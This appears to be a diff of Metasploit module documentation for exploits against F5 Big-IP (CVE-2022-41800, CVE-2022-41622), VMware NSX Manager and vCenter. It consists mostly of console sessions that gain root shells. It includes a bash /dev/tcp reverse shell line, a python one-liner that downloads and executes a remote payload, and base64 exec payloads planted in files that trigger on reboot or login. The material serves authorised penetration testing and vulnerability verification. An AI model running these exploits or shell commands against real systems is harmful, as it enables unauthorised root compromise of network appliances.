[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-GCM-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES128-GCM-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-SHA384
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES256-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES128-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-GCM-SHA384
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-GCM-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-SHA256
|
||||
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-SHA256
|
||||
[*] expired.badssl.com:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) > show options
|
||||
|
||||
Module options (auxiliary/scanner/ssl/ssl_version):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS expired.badssl.com yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSLCipher All yes SSL cipher to test (Accepted: All, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, ECDHE-ECDSA-AES256-GCM-SHA384, ECDHE-RS
|
||||
A-AES256-GCM-SHA384, DHE-RSA-AES256-GCM-SHA384, ECDHE-ECDSA-CHACHA20-POLY1305, ECDHE-RSA-CHACHA20-POLY1305, DHE-RSA-CHACHA20-POLY1305, ECDHE-ECDSA-AES12
|
||||
8-GCM-SHA256, ECDHE-RSA-AES128-GCM-SHA256, DHE-RSA-AES128-GCM-SHA256, ECDHE-ECDSA-AES256-SHA384, ECDHE-RSA-AES256-SHA384, DHE-RSA-AES256-SHA256, ECDHE-E
|
||||
CDSA-AES128-SHA256, ECDHE-RSA-AES128-SHA256, DHE-RSA-AES128-SHA256, ECDHE-ECDSA-AES256-SHA, ECDHE-RSA-AES256-SHA, DHE-RSA-AES256-SHA, ECDHE-ECDSA-AES128
|
||||
-SHA, ECDHE-RSA-AES128-SHA, DHE-RSA-AES128-SHA, RSA-PSK-AES256-GCM-SHA384, DHE-PSK-AES256-GCM-SHA384, RSA-PSK-CHACHA20-POLY1305, DHE-PSK-CHACHA20-POLY13
|
||||
05, ECDHE-PSK-CHACHA20-POLY1305, AES256-GCM-SHA384, PSK-AES256-GCM-SHA384, PSK-CHACHA20-POLY1305, RSA-PSK-AES128-GCM-SHA256, DHE-PSK-AES128-GCM-SHA256,
|
||||
AES128-GCM-SHA256, PSK-AES128-GCM-SHA256, AES256-SHA256, AES128-SHA256, ECDHE-PSK-AES256-CBC-SHA384, ECDHE-PSK-AES256-CBC-SHA, SRP-RSA-AES-256-CBC-SHA,
|
||||
SRP-AES-256-CBC-SHA, RSA-PSK-AES256-CBC-SHA384, DHE-PSK-AES256-CBC-SHA384, RSA-PSK-AES256-CBC-SHA, DHE-PSK-AES256-CBC-SHA, AES256-SHA, PSK-AES256-CBC-SH
|
||||
A384, PSK-AES256-CBC-SHA, ECDHE-PSK-AES128-CBC-SHA256, ECDHE-PSK-AES128-CBC-SHA, SRP-RSA-AES-128-CBC-SHA, SRP-AES-128-CBC-SHA, RSA-PSK-AES128-CBC-SHA256
|
||||
, DHE-PSK-AES128-CBC-SHA256, RSA-PSK-AES128-CBC-SHA, DHE-PSK-AES128-CBC-SHA, AES128-SHA, PSK-AES128-CBC-SHA256, PSK-AES128-CBC-SHA)
|
||||
SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3)
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
|
||||
msf6 auxiliary(scanner/ssl/ssl_version) >
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
|
||||
downloaded as a VMWare image for free (you have to create an account) from
|
||||
https://downloads.f5.com. You can register for a free 30-day trial if you like,
|
||||
but it's not required to test this.
|
||||
|
||||
Boot the VM and set an admin password by logging in with the default credentials
|
||||
(admin / admin). You'll need that password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800`
|
||||
4. Do `set RHOST <target>` / `set HttpUsername admin` / `set HttpPassword <thepasswordyouchose>`
|
||||
5. Do: `run`
|
||||
6. You should get a session
|
||||
|
||||
## Options
|
||||
|
||||
### `HttpUsername` / `HttpPassword`
|
||||
|
||||
The account to authorize as - requires console access. The `admin` account (which
|
||||
is the default `HttpUsername`) works great, if you have the password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 17.0.0.1
|
||||
|
||||
This should be the normal experience:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
|
||||
RHOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
|
||||
HttpPassword => mybigippassword
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Creating an .rpmspec file on the target...
|
||||
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
|
||||
[*] Building the RPM to trigger the payload...
|
||||
[*] Sending stage (40168 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
|
||||
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
|
||||
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,217 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
|
||||
downloaded as a VMWare image for free (you have to create an account) from
|
||||
https://downloads.f5.com. You can register for a free 30-day trial if you like,
|
||||
but it's not required to test this.
|
||||
|
||||
Boot the VM and set an admin password by logging in with the default credentials
|
||||
(admin / admin). You'll need that password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
This is a CSRF vuln, so it requires a browser in addition to msf:
|
||||
|
||||
1. Install the application
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622`
|
||||
4. Do `set TARGET_HOST <target>` / `set LHOST <yourtest>`
|
||||
5. Do: `run`
|
||||
6. You should get a url such as: `http://10.0.0.179:8080/ddgjZO`
|
||||
7. Open a browser and visit that URL
|
||||
8. If you don't already have an HTTP Basic session, it'll ask for your credentials (the `admin` account from earlier works great)
|
||||
|
||||
## Options
|
||||
|
||||
### `TARGET_HOST` / `TARGET_URI` / `TARGET_SSL`
|
||||
|
||||
These are the target that the user will be redirected to
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
If the `TARGET` is `2` (`Custom`), the file that will be overwritten with the payload
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 0 (Restart)
|
||||
|
||||
Start the listener:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
|
||||
[*] Server started.
|
||||
```
|
||||
|
||||
Then, a legit user that has HTTP Basic authentication (or who can be tricked
|
||||
into performing HTTP Basic authentication) needs to visit that URL. When any
|
||||
user connects, they'll be redirected to the SOAP endpoint and you'll see:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
|
||||
[*] Server started.
|
||||
|
||||
[... wait for a user to visit the URL ...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
|
||||
```
|
||||
|
||||
We have no way to tell whether this was successful; however, if we already have
|
||||
access to the target (ie, if you're testing this), we can check if the file was
|
||||
successfully planted:
|
||||
|
||||
```
|
||||
[root@bigip:Active:Standalone] config # cat /shared/f5_update_action
|
||||
UpdateAction
|
||||
https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
https://localhost/error
|
||||
0
|
||||
0
|
||||
0
|
||||
0
|
||||
```
|
||||
|
||||
The code planted there will activate at reboot. So, ...wait till the target
|
||||
reboots. Perhaps when they update! Again, if you have shell access, you can
|
||||
check the log file when it boots:
|
||||
|
||||
```
|
||||
[root@bigip:INOPERATIVE:] config # tail -f /var/log/f5_update_checker.out
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file found -- parsing
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file action: "UpdateAction"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Executing EM action: UpdateAction
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
|
||||
[...wait 2 minutes...]
|
||||
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Finished sleeping.
|
||||
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Attempting to connect to EM server: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
And, on Metasploit:
|
||||
|
||||
```
|
||||
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
|
||||
[...wait 2 minutes...]
|
||||
[*] Sending stage (40164 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/log/f5_update_checker.out
|
||||
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:51388) at 2022-11-14 15:28:04 -0800
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 1 (Login)
|
||||
|
||||
This works similarly.. use the module, set the `TARGET_HOST`, and set the
|
||||
`TARGET` to `1`:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/ePg5ECHuVD
|
||||
[*] Server started.
|
||||
|
||||
[...wait for an authenticated user to click the link...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
|
||||
```
|
||||
|
||||
Once again, if you already have access, you can verify it worked:
|
||||
|
||||
```
|
||||
[root@bigip:Active:Standalone] config # cat /etc/profile.d/timeout.sh
|
||||
echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
Then, when a user logs in (ie, `ssh root@<target>` or on the console), you get
|
||||
a session:
|
||||
|
||||
```
|
||||
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
|
||||
|
||||
[...wait for a user to log in..]
|
||||
|
||||
[*] Sending stage (40168 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/run/config/timeout.sh
|
||||
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:43902) at 2022-11-14 15:32:26 -0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 2 (Custom)
|
||||
|
||||
Once again, set up the server:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2
|
||||
TARGET => 2
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule
|
||||
FILENAME => /tmp/testmsfmodule
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/PLvOVjkiVvXX
|
||||
[*] Server started.
|
||||
|
||||
[...wait for an admin to visit that link...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /tmp/testmsfmodule with the payload
|
||||
```
|
||||
|
||||
You can verify the file exists:
|
||||
|
||||
```
|
||||
# cat /tmp/testmsfmodule
|
||||
echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
Note that while this is written by root, you're in a pretty strict SELinux
|
||||
context so most obvious attacks (like writing to /etc/profile.d, /root/.ssh,
|
||||
etc., won't work).
|
||||
@@ -19,6 +19,7 @@ For testing purposes, you can download a Github Enterprise image from the follow
|
||||
|
||||
This module was specifically tested against version 2.8.0, which can be downloaded here:
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
|
||||
|
||||
Before you install the image, you must have a valid key. Start from here:
|
||||
|
||||
@@ -2,8 +2,9 @@
|
||||
|
||||
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
|
||||
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova
|
||||
http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
@@ -76,4 +77,4 @@ dns-nameservers 8.8.8.8
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
```
|
||||
|
||||
@@ -9,6 +9,7 @@ performs remote code execution as root by abusing the *extract* function used in
|
||||
|
||||
### Testing Environment
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
Setup [Unraid 6.8.0](https://s3.amazonaws.com/dnld.lime-technology.com/stable/unRAIDServer-6.8.0-x86_64.zip)
|
||||
according to the [UnRAID Getting Started](https://wiki.unraid.net/UnRAID_6/Getting_Started) guide.
|
||||
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
## Vulnerable Application
|
||||
|
||||
VMware Cloud Foundation contains a remote code execution vulnerability via XStream open source library [CVE-2022-39144](https://nvd.nist.gov/vuln/detail/CVE-2021-39144).
|
||||
VMware has evaluated the severity of this issue to be in the [Critical severity range](https://www.vmware.com/support/policies/security_response.html) with a maximum CVSSv3 base score of [9.8](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
|
||||
Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),
|
||||
a malicious actor can get remote code execution in the context of `root` on the appliance.
|
||||
|
||||
VMware Cloud Foundation `3.x` and more specific NSX Manager Data Center for vSphere up to and including version `6.4.13`
|
||||
are vulnerable to Remote Command Injection.
|
||||
|
||||
This module has been tested against VMware NSX Manager (NSX-V) with the specifications listed below:
|
||||
|
||||
* VMware NSX Manager
|
||||
* Version `6.4.13`
|
||||
* Version `6.4.4`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow these instructions to install a vulnerable VMware NSX Manager on VirtualBox.
|
||||
* Go to [Download VMware NSX for vSphere 6.4.13](https://customerconnect.vmware.com/en/downloads/details?downloadGroup=NSXV_6413&productId=417&rPId=96480)
|
||||
* Note: You need to be a customer with valid VMware subscriptions
|
||||
* Download the ova file `VMware-NSX-Manager-6.4.13-19307994.ova`
|
||||
* Open VirtualBox and import the ova file
|
||||
* After sucessful import, start the VM and you have a VMware NSX Manager running which is accessible using url `https://<nsx-manager-ip>`
|
||||
* Credentials to login: user: `admin`, password: `default`
|
||||
* Use the module and options below to test the vulnerability...
|
||||
|
||||
1. `use use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set RPORT <port>`
|
||||
1. `set LHOST <attacker host ip>`
|
||||
1. `set LPORT <attacker host port>`
|
||||
1. `set TARGET <0-Unix command or 1-Linux Dropper>`
|
||||
1. `exploit`
|
||||
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.
|
||||
|
||||
## Options
|
||||
No specific options.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware NSX Manager bash reverse shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options
|
||||
|
||||
Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machi
|
||||
ne or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5
|
||||
rhosts => 192.168.100.5
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.5:443 can be exploited !
|
||||
[+] The target appears to be vulnerable. Target is running VMware NSX Manager (NSX-V)
|
||||
[*] Executing Unix (In-Memory) with bash -c '0<&44-;exec 44<>/dev/tcp/192.168.100.7/4444;sh <&44 >&44 2>&44'
|
||||
[*] Command shell session 14 opened (192.168.100.7:4444 -> 192.168.100.5:42512) at 2022-11-05 10:33:37 +0000
|
||||
|
||||
pwd
|
||||
/usr/lib/tanuki/bin
|
||||
whoami
|
||||
root
|
||||
exit
|
||||
[*] 192.168.100.5 - Command shell session 14 closed.
|
||||
|
||||
```
|
||||
|
||||
### VMware NSX Manager meterpreter session
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options
|
||||
|
||||
Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machi
|
||||
ne or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux Dropper
|
||||
|
||||
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5
|
||||
rhosts => 192.168.100.5
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.5:443 can be exploited !
|
||||
[+] The target appears to be vulnerable. Target is running VMware NSX Manager (NSX-V)
|
||||
[*] Executing Linux Dropper
|
||||
[*] Using URL: http://192.168.100.7:8080/G5xrKmpiufcQdCt
|
||||
[*] Client 192.168.100.5 (curl/7.81.0) requested /G5xrKmpiufcQdCt
|
||||
[*] Sending payload to 192.168.100.5 (curl/7.81.0)
|
||||
[*] Command Stager progress - 100.00% done (121/121 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 192.168.100.5
|
||||
[*] Meterpreter session 13 opened (192.168.100.7:4444 -> 192.168.100.5:42384) at 2022-11-05 10:29:30 +0000
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.100.5
|
||||
OS : NSX Manager 6.4.13 (Linux 4.9.297)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
The vulnerability check is limited in detecting that VMWare NSX Manager (NSX-V) is running without obtaining the version information.
|
||||
However all VMware NSX Manager versions up to `6.4.13` are vulnerable, except for `6.4.14`, so most detected targets are likely
|
||||
to be vulnerable.
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
|
||||
`/usr/lib/vmware-vmon/java-wrapper-vmon` file. It is possible for anyone in the
|
||||
`cis` group to write to the file, which will execute as root on `vmware-vmon` service
|
||||
restart or host reboot.
|
||||
|
||||
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
|
||||
|
||||
The following versions should be vulnerable:
|
||||
- vCenter 7.0 before U2c
|
||||
- vCenter 6.7 before U3o
|
||||
- vCenter 6.5 before U3q
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obtain a shell on vCenter for a user in the `cis` group.
|
||||
3. Do: `use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc`
|
||||
4. Do: `set session #`
|
||||
5. Do: `run`
|
||||
6. Restart the host, or the service (`systemctl restart vmware-vmon.service`) with a user who has permission
|
||||
7. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware VirtualCenter 6.5.0 build-7070488
|
||||
|
||||
Get initial shell (any vic group member will do, here we use vsphere-client)
|
||||
|
||||
```
|
||||
[*] Processing java_wrapper.rb for ERB directives.
|
||||
resource (java_wrapper.rb)> use multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (java_wrapper.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (java_wrapper.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Using URL: http://2.2.2.2:8080/cFK3ylrNE9s
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/cFK3ylrNE9s', context=ssl._create_unverified_context());exec(r.read());"
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (432 bytes)
|
||||
[*] Sending stage (24380 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:59084) at 2022-11-20 10:45:06 -0500
|
